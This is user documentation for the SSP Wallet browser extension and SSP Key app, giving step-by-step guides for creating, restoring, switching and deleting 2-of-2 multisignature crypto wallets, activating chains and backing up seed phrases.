<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FE2QZel9ef8jDJm36kOwD%2Fimage.png?alt=media&amp;token=b9d6a9fd-766d-4623-bc04-d00d230e8f2b" alt="" width="308"><figcaption></figcaption></figure></div>

Tap the **wallet & chain pill** at the top of the wallet — it shows your active wallet's identicon, name, and chain.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F6GADuEObGqAJxwmG6JrV%2Fimage.png?alt=media&amp;token=9ea6a9dd-f4ce-459b-b138-87688ae69b1a" alt=""><figcaption></figcaption></figure></div>

The switcher opens: your wallets are listed on top, and the **Networks** section below lists the chains. Use the search box to find a wallet or network quickly.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fz6HcO3cHPbWXT9Ryu4BE%2Fimage.png?alt=media&amp;token=92d08d23-5ee3-49c1-8193-bba38b306b62" alt="" width="209"><figcaption></figcaption></figure></div>

Tap the chain you want. If it's already activated, the wallet switches immediately — that's it.

## Activating a new chain

The first time you switch to a chain, your SSP Key must share that chain's public keys with the wallet (no funds move — every future transaction still needs your approval on the Key).

{% hint style="info" %}
Installing SSP Key is needed before you can create a wallet

* iOS: <https://apps.apple.com/us/app/ssp-key/id6463717332>
* Android: <https://play.google.com/store/apps/details?id=io.runonflux.sspkey>

Guide for installing SSP Key: [Install SSP Key](/docs/getting-started-with-ssp-key/install-ssp-key)
{% endhint %}

**With SSP Key v2 (one-tap activation):**

1. Select the chain (or several chains) to activate. You can also activate chains from the [Portfolio tab](/docs/getting-started-with-ssp-wallet/portfolio-and-activity).
2. SSP Wallet sends a **Chain Activation Request** to your paired SSP Key.
3. On your SSP Key, review the request — it names every chain being activated — and approve **once** (slide to approve, then confirm with biometrics or password). The Key shows live progress as it prepares keys for each chain.
4. Both devices then show a **6-word verification code**. Scan the wallet's code with your SSP Key, or compare the words yourself — they must match exactly. See [Pairing Verification Code](/docs/getting-started-with-ssp-key/pairing-verification-code).

{% hint style="danger" %}
If the verification words on the two devices **differ**, do not use the newly activated chain — choose "They don't match", and re-pair. Matching words prove no one, including the relay, tampered with the sync.
{% endhint %}

**QR code fallback (works with SSP Key v1 and v2):**

If your SSP Key app hasn't been updated, or the request doesn't arrive, the wallet shows a QR code for the chain instead.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F3wKDQSmqcAsHQ8lbvX1L%2Fimage.png?alt=media&amp;token=eec98b94-270f-467f-95cc-2362249d202d" alt="" width="314"><figcaption></figcaption></figure></div>

Scan the QR code using your SSP Key, then approve the synchronisation on the Key.

Alternatively, you can manually input the sync data shown in SSP Wallet into your SSP Key (Manual Input) — the fully offline path.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FvUnWouPCjZ8HxouAhHuH%2Fimage.png?alt=media&amp;token=19edc864-f486-4b6d-b495-1ccb85d7f6fa" alt="" width="314"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FhTXhbVkHKt251UpckgGf%2Fimage.png?alt=media&amp;token=1ee6d903-4a41-4495-8011-c26e726dd1bf" alt="" width="311"><figcaption></figcaption></figure></div>

Congratulations, you successfully switched chain!


# Wallet

This is a section for wallet


# Retrieve SSP Wallet Seed Phrase

Open the **Menu** tab (the ☰ icon in the bottom bar)

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FkzCdLQhZ6yeqnStB20sY%2Fimage.png?alt=media&amp;token=1528160d-309e-4c05-82f8-df84e6e6b314" alt="" width="308"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FnuHgF27QQf37r1Wgvy1R%2Fimage.png?alt=media&amp;token=3a877055-1ee1-4c99-ab73-e99c66df00f9" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fc3ol8gnd3nXDMDgY6VkF%2Fimage.png?alt=media&amp;token=971212bb-dad0-4091-9e68-de983aa2a34e" alt="" width="200"><figcaption></figcaption></figure></div>

Click "SSP Wallet Details"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FVcPsiXveSJ0mFa9FVRg3%2Fimage.png?alt=media&amp;token=5f24c0f0-60a2-4a4d-93fa-bee947c96211" alt="" width="308"><figcaption></figcaption></figure></div>

Input your password on "Confirm with Password" text box, then click "Grant Access" button

Scroll down at the bottom until "SSP Wallet Mnemonic Seed Phrase"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fr2WNqSeQGW6uZEwS2zeH%2Fimage.png?alt=media&amp;token=4060790c-e760-44e7-88bc-ca8b6293ae15" alt="" width="308"><figcaption></figcaption></figure></div>

Click unhide icon

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FqTfsBFyQrNb4gCJXlPZn%2Fimage.png?alt=media&amp;token=3be84452-f552-4df6-a765-ac4f03877074" alt=""><figcaption></figcaption></figure></div>

{% hint style="info" %}
Please back up this seed phrase offline and store it separately. It backs up **Key #1 only** — one of the two keys in your 2-of-2 wallet — so on its own it cannot move funds or restore access; your SSP Key holds Key #2, which has its own separate seed phrase. Back up **both** seeds separately: if a key's device **and** its seed phrase are both lost, the 2-of-2 can no longer sign and the funds are frozen. By clicking "Show Mnemonic Wallet Seed Phrase" you will be presented with your own unique seed phrase.
{% endhint %}

Congratulations for retrieving your SSP Wallet Seed Phrase!


# Create a New Wallet

## Overview

Creating your first SSP Wallet establishes the foundation of your secure 2-of-2 multisignature system. This guide walks you through creating a new wallet with industry-leading security practices.

## 📋 Prerequisites

### Required Items

* **🖥️ Computer/Laptop** with Chrome, Firefox, or Brave browser
* **📱 Smartphone** (iOS 15.1+ or Android 7+) for SSP Key
* **🌐 Internet Connection** on both devices
* **✏️ Pen and Paper** for secure seed phrase backup
* **⏱️ 15 minutes** of uninterrupted time

### Browser Extension Installation

#### Chrome/Brave Users

```
🔗 Chrome Web Store: https://chromewebstore.google.com/u/3/detail/ssp-wallet/mgfbabcnedcejkfibpafadgkhmkifhbd

1. Click "Add to Chrome" 
2. Confirm "Add extension"
3. Pin to toolbar for easy access
```

#### Firefox Users

```
🔗 Firefox Add-ons: https://addons.mozilla.org/en-US/firefox/addon/ssp-wallet

1. Search "SSP Wallet" or use link above
2. Click "Add to Firefox"
3. Pin to toolbar
```

#### Extension Verification

✅ **Verify Official Extension**:

* **Publisher**: "Run on Flux"
* **Permissions**: Storage, activeTab, scripting
* **Official Links**: Only install from Chrome Web Store or Firefox Add-ons

⚠️ **Security Warning**: Only install from official browser stores. Never download SSP Wallet from third-party websites.

## 🚀 Step-by-Step Wallet Creation

### Step 1: Launch SSP Wallet

After installing SSP Wallet you should see the extension icon in your browser toolbar.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FangSfduKUNpEigRImEz1%2FScreenshot%20from%202025-01-08%2016-25-27.png?alt=media&amp;token=e8cc0067-24e8-40bc-b1cc-46cce738285d" alt=""><figcaption></figcaption></figure></div>

**Click the SSP Wallet extension icon** to begin setup.

<div align="left" data-full-width="false"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FgApi9OkSG8ARfVoUDBE5%2FScreenshot%20from%202025-01-08%2016-27-04.png?alt=media&amp;token=acd14112-4641-453c-a106-be593f2566f8" alt="" width="316"><figcaption></figcaption></figure></div>

### 🌍 Language Selection

SSP Wallet supports **35+ languages**. Select your preferred language from the dropdown menu.

**Supported Languages Include**:

* English, Spanish, French, German, Italian
* Chinese (Simplified/Traditional), Japanese, Korean
* Portuguese, Russian, Arabic, Hindi
* And many more!

💡 **Tip**: You can change language later in **Menu → Language** (General section)

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fp54z15CYPMC0VMG32MNv%2FScreenshot%20from%202025-01-08%2016-31-46.png?alt=media&amp;token=67858a21-0a9f-406f-9756-56c602a1262a" alt="" width="316"><figcaption></figcaption></figure></div>

### Step 2: Choose "Create New Wallet"

**Click "Get Started!"** to begin the wallet creation process.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FaoyzkovdZKQB3me3T3t5%2FScreenshot%20from%202025-01-08%2016-33-22.png?alt=media&amp;token=f8f671cd-9238-4b24-ba92-47ae63bb3eac" alt="" width="316"><figcaption></figcaption></figure></div>

### Step 3: Set a Strong Password

Your password protects your wallet on this device. Create a strong, unique password.

**Password Requirements:**

* ✅ **Minimum 8 characters** (12+ recommended)
* ✅ **Mix of uppercase and lowercase** letters
* ✅ **Include numbers** (0-9)
* ✅ **Special characters** (!@#$%^&\*)
* ✅ **Unique to SSP Wallet** (don't reuse other passwords)

**Strong Password Example:**

```
❌ Weak: password123
❌ Weak: MySSP#Wallet2024$Secure (predictable patterns)
✅ Strong: K9$mX7@pL3*nR8!qZ (random mix of all character types)
```

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FE2eUgfqOmSHcO5vSNG8K%2Fimage.png?alt=media&amp;token=44d404f0-6d4b-456a-86a8-6118108e6d1b" alt="" width="304"><figcaption></figcaption></figure></div>

**Password Security Tips:**

* 💾 **Use a Password Manager**: Store your password securely
* 🔄 **Don't Reuse**: Create a unique password for SSP Wallet
* ✍️ **Write it Down**: Keep a secure backup copy
* 🚫 **Never Share**: Your password should be known only to you

### Step 4: Review Terms and Disclaimer

**Important Legal Information:**

Before creating your wallet, carefully review the SSP Wallet Disclaimer:

📋 [**Read Full Disclaimer**](https://github.com/RunOnFlux/ssp-wallet/blob/master/DISCLAIMER.md)

**Key Points:**

* SSP Wallet is **self-custody** - you control your funds
* **You are responsible** for securing your seed phrases
* **No customer support** can recover lost seed phrases
* **Use at your own risk** for cryptocurrency operations

✅ **Check "I agree with SSP Wallet Disclaimer"** only after reading and understanding the terms.

**Click "Create Wallet"** to proceed to seed phrase generation.

### Step 5: Backup Your Seed Phrase (CRITICAL)

🚨 **MOST IMPORTANT STEP** 🚨

Your wallet seed phrase is the backup for **Key #1** of your 2-of-2 wallet (the SSP Wallet extension). This **24-word** phrase restores the SSP Wallet's half if you lose access to this device — but on its own it does **not** restore access to your funds. Spending every transaction also requires **Key #2**, which lives on your SSP Key phone and has its **own, separate** seed phrase (the two seeds are different). Anyone with only this seed has just *partial* control. Back up **both** seed phrases and store them separately.

**⚠️ CRITICAL SECURITY WARNINGS:**

* 🔑 **This seed = Key #1 only** — one of two keys; it cannot move funds alone (SSP Key holds Key #2, with its own separate seed)
* 💸 **Lose a key's device&#x20;*****and*****&#x20;its seed = that key is gone; the 2-of-2 can no longer spend**
* 📱 **No customer support can recover lost seed phrases**
* 🚫 **Never store digitally** (no photos, no cloud, no digital notes)
* ✏️ **Only write on physical paper**

**Proper Seed Phrase Backup Process:**

1. **Prepare Materials**: Get pen and paper (not pencil)
2. **Ensure Privacy**: Make sure no one can see your screen
3. **Click "Show Mnemonic Wallet Seed Phrase"**
4. **Write Down All 24 Words** in exact order
5. **Double-Check Spelling** - every letter matters
6. **Store Securely** in a safe location

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FA6XC41a6QkDL2SxLiTUp%2Fimage.png?alt=media&amp;token=740b1de5-1d85-434c-beb6-b177a6ff8209" alt="" width="304"><figcaption></figcaption></figure></div>

**Seed Phrase Storage Best Practices:**

✅ **DO:**

* Write on waterproof/fireproof paper
* Store in a safety deposit box
* Make multiple copies in different locations
* Keep away from digital devices
* Tell trusted family member the location (not the words)

❌ **DON'T:**

* Take photos or screenshots
* Store in cloud services (Google Drive, iCloud, etc.)
* Email to yourself
* Store in password managers
* Share with anyone
* Store all copies in same location

**After writing down your seed phrase:**

✅ **Check "I have backed up my wallet seed phrase in a secure location"**

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fa3dEeaoYGluvhhSrP98B%2Fimage.png?alt=media&amp;token=3a75b568-a47b-4af4-a0c7-f00630718fe8" alt="" width="375"><figcaption></figcaption></figure></div>

**Click "Confirm"** to proceed to seed phrase verification.

### Step 6: Verify Your Seed Phrase Backup (Word Challenge)

To ensure you've backed up your seed phrase correctly, the wallet runs a short **word challenge**.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fsqh36a4KzFSZUkFxgW9f%2FScreenshot%20from%202025-01-08%2017-20-14.png?alt=media&amp;token=1410c42e-14b1-4066-8ead-58cd9a34af50" alt="" width="312"><figcaption></figcaption></figure></div>

**Verification Process:**

1. **The wallet asks for specific words** of your phrase (e.g., "Word #2")
2. **Pick the correct word** from the choices shown — the decoys come from the same word list, so you need your written backup
3. **Complete all word prompts** — then you'll see "Backup Confirmed!"

⚠️ **If you pick a wrong word:**

* Check your written backup against the word number requested
* Go back and re-copy your seed phrase if needed
* Ensure you have all 24 words written correctly and in order

### Step 7: Make It Yours & Complete Creation

After the word challenge, the **"Make it yours"** step lets you give your wallet a **name** and an **accent color** so you can spot it at a glance — together with its identicon, these identify the wallet everywhere (including in the switcher and on your SSP Key).

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FoV8nwSoMmgc2eSe4GGfS%2FScreenshot%20from%202025-01-08%2017-24-49.png?alt=media&amp;token=57ee55da-19fa-4665-8cf9-8f5bd3193d28" alt="" width="311"><figcaption></figcaption></figure></div>

**Click "Continue"** to finalize your wallet creation.

✅ **Wallet Creation Complete!** Your SSP Wallet now holds **Key #1** of your 2-of-2 multisignature system.

### Step 8: Prepare for SSP Key Synchronization

Your wallet is ready — pairing your SSP Key is next, to unlock secure sending. You'll see a full-screen pairing step with a QR code that connects your wallet to the SSP Key mobile app.

## 📱 SSP Key Installation Required

**Before proceeding, install SSP Key on your mobile device:**

### iOS Installation (iPhone/iPad)

```
🔗 App Store: https://apps.apple.com/us/app/ssp-key/id6463717332

1. Open App Store on your iOS device
2. Search "SSP Key" or use link above  
3. Tap "Get" to install
4. Open the app after installation
```

### Android Installation

```
🔗 Google Play: https://play.google.com/store/apps/details?id=io.runonflux.sspkey

1. Open Google Play Store
2. Search "SSP Key" or use link above
3. Tap "Install"
4. Open the app after installation
```

### App Verification

✅ **Verify Official App**:

* **Developer**: "Run on Flux"
* **Official Store Links**: Only download from App Store or Google Play
* **Required Permissions**: Camera (for QR scanning), Storage

📖 **Detailed Installation Guide**: [Install SSP Key Guide](/docs/getting-started-with-ssp-key/install-ssp-key)

### Step 9: Synchronize with SSP Key

**Pick your chains (optional):**

On the pairing screen you can select **additional chains to activate along with Bitcoin** — with SSP Key v2, all of them are activated with **one approval** on your phone. You can always activate more chains later (see [Switch Chain](/docs/getting-started-with-ssp-wallet/switch-chain)).

**QR Code Synchronization (Recommended):**

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fej8DrQjD2jxnstSQByGw%2FScreenshot%20from%202025-01-08%2017-31-26.png?alt=media&amp;token=e0311ad1-d43a-4451-b5ad-138b6119d76c" alt="" width="311"><figcaption></figcaption></figure></div>

1. **Keep this QR code displayed** on your computer screen
2. **Open SSP Key app** on your mobile device (create your key first — see [Create a New Key](/docs/getting-started-with-ssp-key/create-a-new-key-and-syncing-to-ssp-wallet))
3. **Tap "Scan Code"** in the SSP Key app
4. **Point camera at QR code** on your computer
5. **Approve the synchronisation** on your SSP Key (slide to approve, then confirm with biometrics or password)

The wallet shows a live status timeline while it waits — from *waiting for scan* through *verifying keys*.

**Manual Synchronization (Alternative):**

If QR scanning doesn't work, use manual input — the sync data always flows from Wallet to Key:

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F22Zv8NuYJcq3JY7tSp2k%2FScreenshot%20from%202025-01-08%2017-34-09.png?alt=media&amp;token=d191567b-57b8-4438-a510-9d3569b9a62b" alt="" width="311"><figcaption></figcaption></figure></div>

1. **Switch to the manual tab** on the wallet's pairing screen and copy the displayed sync data
2. **In the SSP Key app**: tap **Manual Input** on the sync screen
3. **Paste the wallet's sync data** into your SSP Key and continue
4. **Approve the synchronisation** on your SSP Key

### Step 10: Verify the Pairing (Verification Code)

**After the Key approves**, both devices display the same **6-word verification code**, derived independently by each device from the synced keys.

⏳ **Synchronization Process** (30-60 seconds):

1. Devices exchange public keys securely
2. Multisignature addresses generated
3. Wallet addresses created and verified
4. **Verification code shown on both devices**

**Verify it:** in SSP Key tap **"Scan wallet to verify"** and scan the wallet's verification QR — or compare the 6 words on both screens yourself. If they match, click **"They match — continue"** in the wallet.

🚨 **If the words differ, STOP** — do not use the wallet; choose "They don't match" and re-pair. Matching words prove that no one (not even the relay) tampered with your pairing. Full details: [Pairing Verification Code](/docs/getting-started-with-ssp-key/pairing-verification-code).

## 🎉 Wallet Creation Complete!

**Congratulations! You've successfully created your SSP Wallet!**

### ✅ What You've Accomplished:

* 🔐 **Created secure 2-of-2 multisignature wallet**
* 🖥️ **SSP Wallet holds Key #1** (on your computer)
* 📱 **SSP Key holds Key #2** (on your mobile)
* 🔄 **Devices synchronized and verified**
* 🛡️ **Maximum security activated**

### 🚀 Next Steps:

1. [**Send Your First Transaction**](/docs/getting-started-with-ssp-wallet/transaction/send) - Send and receive cryptocurrency
2. [**Add More Blockchains**](/docs/blockchain-deep-dives/supported-blockchains) - Enable Bitcoin, Ethereum, and more
3. [**Security Best Practices**](/docs/security-and-best-practices/security-overview) - Protect your investment
4. [**Connect to dApps**](/docs/ssp-ecosystem-architecture/walletconnect-integration) - Use DeFi and Web3 applications

### 💡 Pro Tips for New Users:

* 🔄 **Test with small amounts** before large transactions
* 📱 **Keep mobile device charged** for transaction approvals
* 🔒 **Never share seed phrases** with anyone
* 💾 **Keep both devices backed up** and secure
* 📚 **Explore documentation** to learn advanced features

***

**Welcome to the SSP community! You now have the world's most secure cryptocurrency wallet. 🎊**


# Restore Wallet Using Seed Phrase

{% hint style="info" %}
Restoring Seed Phrase is a way to restore your wallet using your backed up wallet seed when you created your wallet.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fg8qyM3bZ3jmSEn7fYO7e%2FScreenshot%20from%202025-01-08%2017-55-34.png?alt=media&amp;token=42422346-ae83-4f5c-891b-8643ecb9d926" alt="" width="311"><figcaption></figcaption></figure></div>

Click "Forgot Password? Restore"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FD4y98jJoj85dwUvprq2Q%2FScreenshot%20from%202025-01-08%2018-55-01.png?alt=media&amp;token=c4fde2a3-6c67-4916-9710-7f1fa3341157" alt="" width="311"><figcaption></figcaption></figure></div>

Enter your Wallet Seed and also, enter value for Set Password and Confirm Password

{% hint style="info" %}
Please click and read SSP Wallet Disclaimer. You will be redirected to a new tab with this URL

<https://github.com/RunOnFlux/ssp-wallet/blob/master/DISCLAIMER.md>
{% endhint %}

Toggle "I agree with SSP Wallet Disclaimer." if you agree with the terms and conditions of SSP Wallet.

Click "Import Wallet" to continue. You will be then redirected to backup your wallet seed.

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fl4ZchbS0FdaAWkzg4OCa%2Fimage.png?alt=media&amp;token=75da0521-bc72-476a-be65-ace8c8b64745" alt="" width="308"><figcaption></figcaption></figure></div>

{% hint style="info" %}
Please make sure to create a strong password
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FrvhdVgjAzXyOAalNyU29%2Fimage.png?alt=media&amp;token=f8445722-a17e-4934-ad18-4dd00a773c9c" alt="" width="310"><figcaption></figcaption></figure></div>

To see your wallet seed, click "Show Mnemonic Wallet Seed Phrase"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FcFYoyEqMOKDoa5k0mOQt%2Fimage.png?alt=media&amp;token=37e821e3-6eda-45f5-9fc4-493ab67e2aa7" alt="" width="310"><figcaption></figcaption></figure></div>

Click "Confirm" button

{% hint style="info" %}
Please back up this seed phrase offline and store it separately. It backs up **Key #1 only** — one of the two keys in your 2-of-2 wallet — so on its own it cannot move funds or restore access; your SSP Key holds Key #2, which has its own separate seed phrase. Back up **both** seeds separately: if a key's device **and** its seed phrase are both lost, the 2-of-2 can no longer sign and the funds are frozen. By clicking "Show Mnemonic Wallet Seed Phrase" you will be presented with your own unique seed phrase.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F9X5WdpMBQaE87QwlrmQw%2Fimage.png?alt=media&amp;token=c77f1c40-7fc1-458a-b6b6-2582faab4c41" alt="" width="306"><figcaption></figcaption></figure></div>

Toggle "I have backed up my wallet seed phrase in a secure location."

Click "Restore Wallet" to continue

{% hint style="info" %}
You'll also be offered the **"Make it yours"** step — give the restored wallet a name and accent color so you can spot it at a glance.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FFkFcSYpMX9sOajtExgms%2FScreenshot%20from%202025-01-08%2019-15-14.png?alt=media&amp;token=3526bda3-73a5-4818-b86d-a96176bf77a6" alt="" width="311"><figcaption></figcaption></figure></div>

{% hint style="info" %}
Installing SSP Key is needed before you can create a wallet

* iOS: <https://apps.apple.com/us/app/ssp-key/id6463717332>
* Android: <https://play.google.com/store/apps/details?id=io.runonflux.sspkey>

Guide in installing SSP Key [https://app.gitbook.com/o/JAOVHXmS0zOqrz6ohvwK/s/OLYjN2kelo3HWVPLgZVU/\~/changes/11/getting-started-with-ssp-key/install-ssp-key](/docs/getting-started-with-ssp-key/install-ssp-key)
{% endhint %}

Scan the QR code using your SSP Key and approve the synchronisation on the Key (slide to approve, then confirm with biometrics or password)

Alternatively, switch to the manual tab and copy the wallet's sync data into your SSP Key via **Manual Input**

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FwEZhbmeRMfQQoalAHAB1%2FScreenshot%20from%202025-01-08%2019-25-19.png?alt=media&amp;token=10d32c79-ed92-44d0-96fe-e83b85c813b0" alt="" width="311"><figcaption></figcaption></figure></div>

{% hint style="info" %}
After the sync completes, both devices show the same **6-word verification code**. Scan it with your SSP Key or compare the words — they must match before you continue. If they differ, stop and re-pair. See [Pairing Verification Code](/docs/getting-started-with-ssp-key/pairing-verification-code).
{% endhint %}

Congratulations you just restore your wallet!


# Create Multiple Wallet

{% hint style="info" %}
You may create multiple wallets for the same chain. This will help you create multiple addresses to serve specific purposes. Each wallet is independent with its own balance and history, and you can give each a name and color to recognize it at a glance.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FCL5sxs3XQoTOrFd4LZJ5%2Fimage.png?alt=media&amp;token=e72be94f-0d6b-4ed3-b820-5667056c132c" alt="" width="308"><figcaption></figcaption></figure></div>

Tap the **wallet & chain pill** at the top of the wallet to open the switcher

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FReGcNKlSn7O9iXyS7F75%2Fimage.png?alt=media&amp;token=e9f7dc06-0bf0-4617-8f26-67ed84b17291" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FSZ4XnT0HxBhRVGQ4n1yC%2Fimage.png?alt=media&amp;token=9f139721-0ea0-4b0d-ac7f-fc04100dea71" alt="" width="375"><figcaption></figcaption></figure></div>

In the wallets list, click "Generate New Wallet"

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FTz8SuDPcC5anymuzcWWg%2Fimage.png?alt=media&amp;token=f2ed0be8-7d27-419b-812b-ce6f8c921315" alt="" width="215"><figcaption></figcaption></figure></div>

To switch, click on the new wallet

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FguZcOfutLELaMhFRFnXJ%2Fimage.png?alt=media&amp;token=e9b3e3e4-f4d8-4f4e-bdf9-6ce2d6d0c898" alt="" width="375"><figcaption></figcaption></figure></div>

Congratulations for creating a multiple wallet!


# Delete a Wallet

{% hint style="info" %}
You may delete a wallet only if the wallet is not the default wallet generated.
{% endhint %}

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FYQL4PebuZtjiNVXhv7cw%2Fimage.png?alt=media&amp;token=181c6871-311e-4b4a-ba75-6fb13020ce12" alt="" width="308"><figcaption></figcaption></figure></div>

Tap the **wallet & chain pill** at the top of the wallet to open the switcher

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FVhL1zG4FR8zTR3X8JaRx%2Fimage.png?alt=media&amp;token=ab5e871f-504b-40ff-a44c-71cd5a787395" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FVWEsw1FZe9bkW1tobIda%2Fimage.png?alt=media&amp;token=edea7db2-6b31-4b4f-ad04-49de59d3476b" alt=""><figcaption></figcaption></figure></div>

In the wallets list, click "Remove Last Wallet"

To remove wallet click "Remove" button

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FY4lKinAaaZYyiKDm6PDy%2Fimage.png?alt=media&amp;token=ce10aba1-f0ef-4cca-a5bd-8b87e8c2784b" alt="" width="375"><figcaption></figcaption></figure></div>

Congratulations for removing a wallet!


# Retrieving Your Wallet Address

In your SSP Wallet, open the **Menu** tab (the ☰ icon in the bottom bar)

{% hint style="info" %}
Tip: your address is also one tap away on Home — the **Receive** button shows the active wallet's address and QR code.
{% endhint %}

